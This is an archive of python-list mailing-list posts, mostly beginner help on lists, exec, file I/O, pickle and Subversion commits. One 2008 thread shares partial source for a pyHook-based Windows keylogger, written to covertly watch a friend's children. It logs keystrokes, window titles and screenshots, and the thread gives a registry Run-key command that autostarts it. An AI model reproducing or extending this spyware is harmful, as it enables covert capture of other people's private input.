Re: lists and for loops

2011-08-17 Thread Jack Trades
>
> I want to add 5 to each element of a list by using a for loop.
>
> Why doesn't this work?
>
> numbers = [1, 2, 3, 4, 5]
> for n in numbers:
> n = n + 5
> print numbers
>
>
The n variable in the for loop refers to each value in the list, not the
reference to the slot that value is stored in.

To update the numbers list you would want something like this:

numbers = [1, 2, 3, 4, 5]
for n in range(len(numbers)):
  numbers[n] += 5
print numbers

Alternatively if you didn't need to update the numbers list you could make a
new list like this:

[n+5 for n in numbers]

-- 
Jack Trades <http://www.rentageekit.com>
Pointless Programming Blog <http://pointlessprogramming.wordpress.com>
-- 
http://mail.python.org/mailman/listinfo/python-list


Returning a value from exec or a better solution

2011-08-29 Thread Jack Trades
I'm writing a Scheme interpreter and I need to be able to create and return
a Python function from a string.

This is a port of another Scheme interpreter I wrote in Scheme.  What I'm
trying to do looked like this:

(define (scheme-syntax expr)
  (hash-table-set! global-syntax (car expr) (eval (cadr expr

Where expr was of the form (symbol (lambda (exp) ...)).  This added a new
special form handler.

I came up with a very ugly solution in Python:

def add_special_form_handler(expr):
  exec(expr.cdr.car)
  special_forms[expr.car] = f

Where expr.car = the symbol to be dispatched on and expr.cdr.car = a string
of Python code defining a function that must be named f.

I wanted to use an anonymous function here, but with the limitations of
Python's lambda that would probably make things more complicated.  Failing
that I wanted to allow the user to manually return the function from the
string, like this:

a = exec("""
def double(x):
  return x * 2
double
""")

However it seems that exec does not return a value as it produces a
SyntaxError whenever I try to assign it.

Is there a better way to do this?

-- 
Nick Zarczynski
Pointless Programming Blog 
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Returning a value from exec or a better solution

2011-08-29 Thread Jack Trades
On Mon, Aug 29, 2011 at 12:30 PM, Rob Williscroft  wrote:

> Jack Trades wrote in
> > ... I wanted to allow the user to manually return the
> > function from the string, like this:
> >
> > a = exec("""
> > def double(x):
> >   return x * 2
> > double
> > """)
> >
> > However it seems that exec does not return a value as it produces a
> > SyntaxError whenever I try to assign it.
>
> def test():
>  src = (
>   "def double(x):"
>  "  return x * 2"
> )
>  globals  = {}
>  exec( src, globals )
>  return globals[ "double" ]
>
> print( test() )
>

I looked into doing it that way but it still requires that the user use a
specific name for the function they are defining.  The docs on exec say that
an implementation may populate globals or locals with whatever they want so
that also rules out doing a simple "for item in globals", as there may be
more than just the one function in there (though I suppose I may be able to
work around that).

-- 
Nick Zarczynski
Pointless Programming Blog <http://pointlessprogramming.wordpress.com>
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Returning a value from exec or a better solution

2011-08-29 Thread Jack Trades
On Mon, Aug 29, 2011 at 5:50 PM, Arnaud Delobelle  wrote:

>
> Hi Jack,
>
> Here is a possible solution for your problem (Python 3):
>
>
> >>> class CapturingDict(dict):
> ... def __setitem__(self, key, val):
> ... self.key, self.val = key, val
> ... dict.__setitem__(self, key, val)
> ...
> >>> c = CapturingDict()
> >>> exec("def myfunction(x): return 1", c)
> >>> c.key
> 'myfunction'
> >>> c.val
> 
>
> HTH,
>
> --
> Arnaud
>

That's brilliant and works flawlessly.  Thank you very much!

-- 
Nick Zarczynski 
Pointless Programming Blog 
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Returning a value from exec or a better solution

2011-08-30 Thread Jack Trades
On Tue, Aug 30, 2011 at 2:37 AM, Rob Williscroft  wrote:


> > That's brilliant and works flawlessly.  Thank you very much!
>
> If an impementation (as you say up thread) can populate globals
> or locals with whatever they want, then how do you know that last
> item added was the function definition the user supplied ?
>
> Rob.
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


I spoke a bit too soon with the "works flawlessly" post.  In addition to
your issue, there is also the problem that supplying an empty environment
does not allow the user to call necessary functions (like scheme_eval).


Why not just get the name from the user
>

That's probably what I'll end up doing, something similar to:

special_forms = {}

def exec_func_def(symbol, def_string, name=None):
  exec(def_string)
  if name is None:
special_forms[symbol] = f
  else:
special_forms[symbol] = eval(name)

It just feels kind of hackish to me, when what I really want to do here is
eval an anonymous function.

-- 
Nick Zarczynski 
Pointless Programming Blog 
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Returning a value from exec or a better solution

2011-08-30 Thread Jack Trades
On Tue, Aug 30, 2011 at 1:19 PM, Ethan Furman  wrote:

>
> I spoke a bit too soon with the "works flawlessly" post.  In addition to
>> your issue, there is also the problem that supplying an empty environment
>> does not allow the user to call necessary functions (like scheme_eval).
>>
>
>
> So, just like an implementation, add the functions to the CapturingDict
> before the exec.
>
>
I will probably do that a bit down the road, that also allows exporting only
the things that are absolutely necessary, which is a huge plus.  Right now
I'm trying to keep the code as simple as possible as this Scheme interpreter
is being written as a tutorial in a similar fashion to "An Incremental
Approach to Compiler Construction".  I'll add a note about this method of
implementation and link to this discussion.

In the off chance anyone is interested, the series is
hereand the github
is
here .  It's still very much
in draft form and will probably undergo a number of rewrites, but criticism
is always welcome.

-- 
Nick Zarczynski
Pointless Programming Blog 
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Reading/Writing files

2011-03-18 Thread Jack Trades
On Fri, Mar 18, 2011 at 4:33 PM, Jon Herman  wrote:

> Hello all,
>
> I am pretty new to Python and am trying to write data to a file. However, I
> seem to be misunderstanding how to do so. For starters, I'm not even sure
> where Python is looking for these files or storing them. The directories I
> have added to my PYTHONPATH variable (where I import modules from
> succesfully) does not appear to be it.
>
> So my question is: How do I tell Python where to look for opening files,
> and where to store new files?
>
> Thanks,
>
> Jon
>
>
By default Python will read and write files from the directory that your
program is run from.  This cannot always be relied upon though (for instance
if your program was imported as a module from another program).

To find out what directory your program is currently in use os.getcwd().
Here's an example I just ran...

>>> import os
>>> os.getcwd()
'/media/DATA/code/lispy/liSpy'

The folder that is returned from os.getcwd() is the folder that "open" will
use.  You can specify another folder by giving the full path.

open("/full/path/to/file.txt", "w")

PYTHONPATH is for importing modules, which is a separate concern.

-- 
Jack Trades
Pointless Programming Blog <http://pointlessprogramming.wordpress.com>
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Reading/Writing files

2011-03-18 Thread Jack Trades
On Fri, Mar 18, 2011 at 4:56 PM, Jon Herman  wrote:

> Jack,
>
> thanks.
>
> Alright, so what I did is create a file called hello.txt with a single line
> of text in there. I then did the following:
>
> f="fulldirectory\hello.txt" (where fulldirectory is of course the actual
> full directory on my computer)
> open("f", "w")
>
> And I get the following error: IOError: [Errno 13] Permission denied: 'f'
> If I open to read, I get: IOError: [Errno 2] No such file or directory: 'f'
>
> Can anyone explain to me why this happens?
>
>
You need to remove the quotes from f.  f is a variable name, not a string,
so there should be no quotes around it.

-- 
Jack Trades
Pointless Programming Blog <http://pointlessprogramming.wordpress.com>
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Reading/Writing files

2011-03-18 Thread Jack Trades
On Fri, Mar 18, 2011 at 4:59 PM, Jack Trades wrote:

>
>
> On Fri, Mar 18, 2011 at 4:56 PM, Jon Herman  wrote:
>
>> Jack,
>>
>> thanks.
>>
>> Alright, so what I did is create a file called hello.txt with a single
>> line of text in there. I then did the following:
>>
>> f="fulldirectory\hello.txt" (where fulldirectory is of course the actual
>> full directory on my computer)
>> open("f", "w")
>>
>> And I get the following error: IOError: [Errno 13] Permission denied: 'f'
>> If I open to read, I get: IOError: [Errno 2] No such file or directory:
>> 'f'
>>
>> Can anyone explain to me why this happens?
>>
>>
> You need to remove the quotes from f.  f is a variable name, not a string,
> so there should be no quotes around it.
>
>
> --
> Jack Trades
> Pointless Programming Blog <http://pointlessprogramming.wordpress.com>
>
>
Sorry I should have given an example.  From your code it should look like
this...

filename = "fulldirectory\hello.txt"

You then use f to write or read.  This is how you read...

f = open(filename, "r")
file_contents = f.read()
f.close()

and this is how you write...

f = open(filename, "w")
f.write("hello world")
f.close()

-- 
Jack Trades
Pointless Programming Blog <http://pointlessprogramming.wordpress.com>
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Reading/Writing files

2011-03-18 Thread Jack Trades
On Fri, Mar 18, 2011 at 5:21 PM, Jon Herman  wrote:

> Folks,
>
> thanks for the many responses! Specifying the full file name (and not using
> parentheses when inappropriate, thanks Jack :)) I am now happily
> reading/writing files.
>
> My next question: what is the best way for me to write an array I generated
> to a file?
> And what is the best way for me to load that array again, the next time I
> start up my computer?
>
> Basically I am doing very large computations and want to store the results.
>
> Thanks a lot guys!
>
> Jon
>
>
To save a data structure like an array (called a list in Python), you can
use the pickle module.  Here's the documentation on pickle.

http://docs.python.org/library/pickle.html
http://www.developertutorials.com/tutorials/python/python-persistence-management-050405-1306/


-- 
Jack Trades
Pointless Programming Blog <http://pointlessprogramming.wordpress.com>
-- 
http://mail.python.org/mailman/listinfo/python-list


How to autorun a python script when a specific user logs on?

2008-02-05 Thread jack trades
I wrote a simple keylogger for a friend of mine that wants to keep track of
his kid's (12 and 14 yr old boys) computer usage to make sure they aren't
getting into the naughty parts of the web.  The logger works great (source
attached at bottom) but I ran into some troubles getting it to autorun on
login.

The method I tried was to add a registry entry using the function below.
def autostartProgram():
  """Registers program with the windows registry to autostart on login"""
  os.system(r'reg add HKLM\software\microsoft\windows\currentversion\run /v
logger /t REG_SZ /d C:\keylogger\logger.py')

This starts the program on login, no problem.  However I noticed that after
logging out and back in on my dev (xp pro) machine that "My Network Places"
was gone from my start menu.  I restored the registry and tried again.  It
happened over and over.  I also had problems with Winamp/Media Player after
doing this (grrr I hate Windoze).

Also I noticed that when you switch users using this method, it shows that
there is 1 program running.  While I'm not trying to be stealthy I don't
want the kids poking around in his system (probably destroying it) trying to
find the program that's running.

How would I SAFELY start the program at login time for a specific user?
I've been reading google about this for the past 5 hours and I'm stuck,
please help.
Note:  I thought about registering it as a system service, but wouldn't that
make the program start for any user that logs on?

Thanks for sparing some time,
Jack Trades



PS.  The source for the logger is below.  I'll post the source for the
reader when I'm finished if anyone's interested (I'll also post it to
uselesspython when they're back up).
Note:  Currently this program must be stored in a folder named
"C:\keylogger\"  (I won't post to uselesspython until I fix this, but it
seems necessary when autostarting the program through the registry.)


## Windows Only Script!!!
########
#
## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
##
##Copyright (C) 2008, Jack Trades
##
##This program is free software: you can redistribute it and/or modify
##it under the terms of the GNU General Public License as published by
##the Free Software Foundation, either version 3 of the License, or
##(at your option) any later version.
##
##This program is distributed in the hope that it will be useful,
##but WITHOUT ANY WARRANTY; without even the implied warranty of
##MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
##GNU General Public License for more details.
##
##You should have received a copy of the GNU General Public License
##along with this program.  If not, see <http://www.gnu.org/licenses/>
##
## Recent Changes:
## Added quality setting to grabScreen
## Wrapped all functions in try/except blocks to silently pass over errors
##
## TODO:
## Write function to send data to secure ftp server in local network
## Write any errors to a text file

#
## Requires: pyHook, win32all, PIL

import pyHook
import pythoncom
import ImageGrab
from time import time
from threading import Timer



#
## Start-Up

#

## The full path is required when started automatically through windows
registry
## Need to find a fix to allow relative paths (this way is UGLY!)
folder = 'C:\\keylogger\\'

filename = folder+'data\\'+str(time())  ## Each program start creates a new
file
skippedKeys = set( (0,) )

def offloadData():
  """Every time the program starts it should offload its log file and
  screenshots to another computer.  """
  pass



#
## Keylogger

#
## The logger skips over keys defined in the global variable *skippedKeys*

def writeData(eventWindow, ascii):
  """Appends each keystroke to file *filename* as defined at the top"""
  try:
eventTime = time()
f = open(filename, 'a')
f.write(str( (ascii, eventTime, eventWindow) )+',')
f.close()
  except:
pass

def onKeyboardEvent(event):
  """This function is called by pyHook each time a key is pressed.
  It writes the (key,time,window) to the logfile as defined in writeData()
  It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
  try:
eventWindow, ascii = event.WindowName, event.Ascii
if ascii not in skippedKeys:  ## skippedKeys is a gl

Re: How to autorun a python script when a specific user logs on?

2008-02-05 Thread jack trades

"Hyuga" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> You know, I'm all for responsible parenting, and teaching kids about
> about responsible computer use, and even to an extent checking out
> things like browser history to make sure they're up to no good.  But
> this is outright spying--a total invasion of privacy.  Might as well
> put a hidden web cam in their room to make sure they aren't doing
> naughty things like looking at old-media porn or masturbating.  Your
> friend should talk to his kids, not automatically assume their guilt.

Honestly I never even thought of that, it just sounded like a fun, and easy,
project to put my mediocre programming skills to some use.  However his main
concern is internet predators (too much Dateline I think) not porn, I should
have worded it differently in the OP.  Thanks for pointing that out, but I
don't agree that it is "outright spying", rather it is a logical extension
of watching them play in the yard so you can tell if they are doing things
that are dangerous to themselves (They are minors, lacking the life
experience to guide them through potentially dangerous situations.)  I'll be
modifying the program to watch for certain keywords which will enable the
logging, so as to give his kids some degree of 'privacy' as I think that is
important.  Afterall how exciting would life be if you couldn't sneak a peek
at the occasional naked woman :)

Jack Trades


-- 
http://mail.python.org/mailman/listinfo/python-list


Re: How to autorun a python script when a specific user logs on?

2008-02-07 Thread jack trades
"Mike Hjorleifsson" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> on windows you can put this in HKEY_Local_Machine\Software\Microsoft
> \Windows\Current Version\Run and it will run at logon (or fast user
> switch) for each user
> or if you only want to do it for a specific user you need to determine
> their CSLID and put it in the same locale under the HKEY_USERS\Users
> cslid... etc.

Thanks for sparing some time.  I was looking through the registry and found
that this works as long as you are logged in as the user you want to
autostart the program for:

def autostartProgram(name, location):
  os.system(r'reg add HKCU\software\microsoft\windows\currentversion\run /v
%s /t REG_SZ /d %s' % (name, location) )

Jack Trades


-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Why not a Python compiler?

2008-02-08 Thread jack trades
"Santiago Romero" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
>  Why not a Python COMPILER?


Check out CLPython it has a Python compiler, though I highly doubt it is
what you are thinking of.


>From http://common-lisp.net/project/clpython/manual.html

Sometimes, the generated Python code can be simplified because the value of
an expressions is known at compile time. This is where compiler macros come
in. In this example, as 4 > 3 always holds, the compiler macro for py->
replaces (funcall #'py-> 4 3) by the Python value True. After that, the
compiler macro for py-val->lisp-bool recognizing True is a constant value,
replaces (py-val->lisp-bool True) by t. The Lisp compiler then deduces that
always the first branch of the if expression is taken, and replace the whole
(cond ...) by (py-print nil (list "y") nil).
In this example the compiler macros were able to remove a lot of the Lisp
code at compile time. This results in more efficient code. However, in
practice there is often not that much that can be decided at compile time,
due to Python-the-language being very dynamic. For example, in the
expression 5 + x the value of x can be anything. As classes are able to
redefine how the + operator behaves (by means of the __add__ and __radd__
methods), the value of 5 + x can be anything as well. Unless the context
gives more information about the type of x, the Lisp code must contain a
call to the generic addition function py-+.

Nevertheless, the compiler macro will inline "common" case, and make the
generic call only for "uncommon" arguments. If small integers (fixnums) are
common for the + operator, the compiler macro for py-+ could emit:

(if (typep x 'fixnum)
(+ 5 x)
  (py-+ 5 x))The check for x being fixnum is very fast; and if x is indeed a
fixnum then the inline addition is also very fast. If x is not a fixnum, it
could another kind of (Lisp) number, or even a Pythonic object posing as a
number. The generic py-+ will handle that.


Compiled vs Interpreted Code
CLPython can run Python code in two modes, interpreted or compiled. In the
latter case, the Lisp code is translated into assembly. The advantage of
interpreted code is that debugging is easier (the stack trace contains more
information); on the other hand execution of compiled code is much faster.



Jack Trades


-- 
http://mail.python.org/mailman/listinfo/python-list


Re: How to autorun a python script when a specific user logs on?

2008-02-08 Thread jack trades
"Wolfgang Draxinger" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> jack trades wrote:
>
> > Honestly I never even thought of that, it just sounded like a
> > fun, and easy,
> > project to put my mediocre programming skills to some use.
> > However his main concern is internet predators (too much
> > Dateline I think) not porn, I should
> > have worded it differently in the OP.
>
> Technically I would not use a keylogger for this. Your
> implementation can be circumvented easyly anyway, and every
> spyware detection tool will report the hooks immediately.
> However I think that tool could do nicely for application
> documentation :-)
>
> To protect the children from predators I'd use transparent
> proxies, to analyze all textual traffic for specific statistical
> patters, kinda like a Bayes Spam filter, and raise an alarm as
> soon something unusual, eventually in combination with some
> keywords happens.
>
> This includes majorly 3 protocols: HTTP, SMTP and IRC. e-mails
> should be prefiltered anyway, alone for all the spam.
>
> Such a system is best installed on a dedicated machine, e.g. a
> Linux based router/gateway, that transparently sends all HTTP,
> SMTP and IRC traffic through the analyzers. This cannot be
> circumvented, as long the kids don't know the root password for
> the gateway.
>
> If you're still up on making screenshots, I'd recommend to
> install a VNC deamon, as a _system service_(!), to which the
> alarm action program connects to make screenshots.
>
> Wolfgang Draxinger
> -- 
> E-Mail address works, Jabber: [EMAIL PROTECTED], ICQ: 134682867

Thanks for the suggestion.  I can't believe I didn't think of this.  I just
installed Kubuntu on one of his old computers (I'm trying to get him to
convert to Linux :) and this would work perfectly, especially since I don't
really expect him to use the linux box.  Trying to get a Windoze user to
switch to linux is like pulling teeth.

Jack Trades


-- 
http://mail.python.org/mailman/listinfo/python-list


Subversion commit from Python?

2009-05-18 Thread Jack Trades
I'm wondering if there's an easy way to do a 'svn commit' on a
directory from Python.

More Details:
I have a wiki-like program that stores its data in a directory that I
would like to put under version control to be able to roll back
unwanted changes.  The program is stored in two directories, a 'cgi'
directory which displays the data and allows user editing and a 'data'
directory.  The 'data' directory is a checked-out version of the
repository.
Originally I had the 'data' directory in the same directory as the cgi
scripts and was using os.system("svn commit"), however I kept running
into weird bugs with this method.  So I moved the data directory out
of the cgi directory and plan to use a separate repository.  So is
there a prefered way to commit this directory to a subversion
repository from a Python script?
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Subversion commit from Python?

2009-05-18 Thread Jack Trades
On May 19, 12:26 am, Lawrence D'Oliveiro  wrote:
> In message <2904e7de-0a8d-4697-9c44-
>
> c83bb5319...@s31g2000vbp.googlegroups.com>, Jack Trades wrote:
> > Originally I had the 'data' directory in the same directory as the cgi
> > scripts and was using os.system("svn commit"), however I kept running
> > into weird bugs with this method.
>
> What bugs?

I'm not 100% sure, but I think it had to do with executable
permissions on the cgi scripts.  I would click on a link in the main
document (named 'add section') and it worked as expected.  After
inserting the information for 'add section' and submitting it (info
was saved in the data folder, then a commit was done on the whole
project), clicking on the same 'add section' link would produce an
error (going back to the 'add section' script asked me to download it
instead of displaying it).

I'm using a very simple server to develop this on my computer...

import BaseHTTPServer
import CGIHTTPServer
import cgitb; cgitb.enable()  ## This line enables CGI error reporting

server = BaseHTTPServer.HTTPServer
handler = CGIHTTPServer.CGIHTTPRequestHandler
server_address = ("", 8000)
handler.cgi_directories = [""]

httpd = server(server_address, handler)
httpd.serve_forever()

I got no information about the error at all, and after some time
completely gave up on it.  I'm only guessing that it was a permissions
problem.  I have made a huge number of modifications to the program
since then (about 2 days ago), and am unable to investigate it
further.  I was just wondering if using os.system('svn commit') was
the right approach, or if there was a "more Pythonic" way of doing
this.
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Subversion commit from Python?

2009-05-19 Thread Jack Trades
On May 19, 3:46 am, Duncan Booth  wrote:
> Jack Trades  wrote:
> > Originally I had the 'data' directory in the same directory as the cgi
> > scripts and was using os.system("svn commit"), however I kept running
> > into weird bugs with this method.  So I moved the data directory out
> > of the cgi directory and plan to use a separate repository.  So is
> > there a prefered way to commit this directory to a subversion
> > repository from a Python script?
>
> Subversion has Python bindings, but for a friendlier interface have a look
> athttp://pysvn.tigris.org/
>
> An example from the docs athttp://pysvn.tigris.org/docs/pysvn_prog_guide.html:
>
> Commit changes to the repository
>
> import pysvn
> # edit the file foo.txt
> f = open('./examples/pysvn/foo.txt', 'w')
> f.write('Sample versioned file via python\n')
> f.close()
> # checkin the change with a log message
> client = pysvn.Client()
> client.checkin(['./examples/pysvn'], 'Corrected spelling of python in 
> foo.txt')
>
> --
> Duncan Boothhttp://kupuguy.blogspot.com

Thanks that's what I was looking for.
-- 
http://mail.python.org/mailman/listinfo/python-list


Re: Subversion commit from Python?

2009-05-19 Thread Jack Trades
On May 19, 3:53 am, Lawrence D'Oliveiro  wrote:
> In message 
> d9e205be7...@s31g2000vbp.googlegroups.com>, Jack Trades wrote:
> > On May 19, 12:26 am, Lawrence D'Oliveiro  > central.gen.new_zealand> wrote:
>
> >> In message <2904e7de-0a8d-4697-9c44-
>
> >> c83bb5319...@s31g2000vbp.googlegroups.com>, Jack Trades wrote:
> >> > Originally I had the 'data' directory in the same directory as the cgi
> >> > scripts and was using os.system("svn commit"), however I kept running
> >> > into weird bugs with this method.
>
> >> What bugs?
>
> > I'm not 100% sure, but I think it had to do with executable
> > permissions on the cgi scripts.
>
> Possibly your CGI scripts are running as some user like "nobody", which
> doesn't have the right access to the files/directories. Changing APIs won't
> help here.

Thanks for the help, I'll have to look into that further.  If that is
the case, would setuid be appropriate here?  Or is there a better way
to give the script the appropriate permissions?
The only thing that baffles me is that the script works before a
commit and only sometimes after a commit, if it were an access problem
wouldn't it fail before the commit as well?
-- 
http://mail.python.org/mailman/listinfo/python-list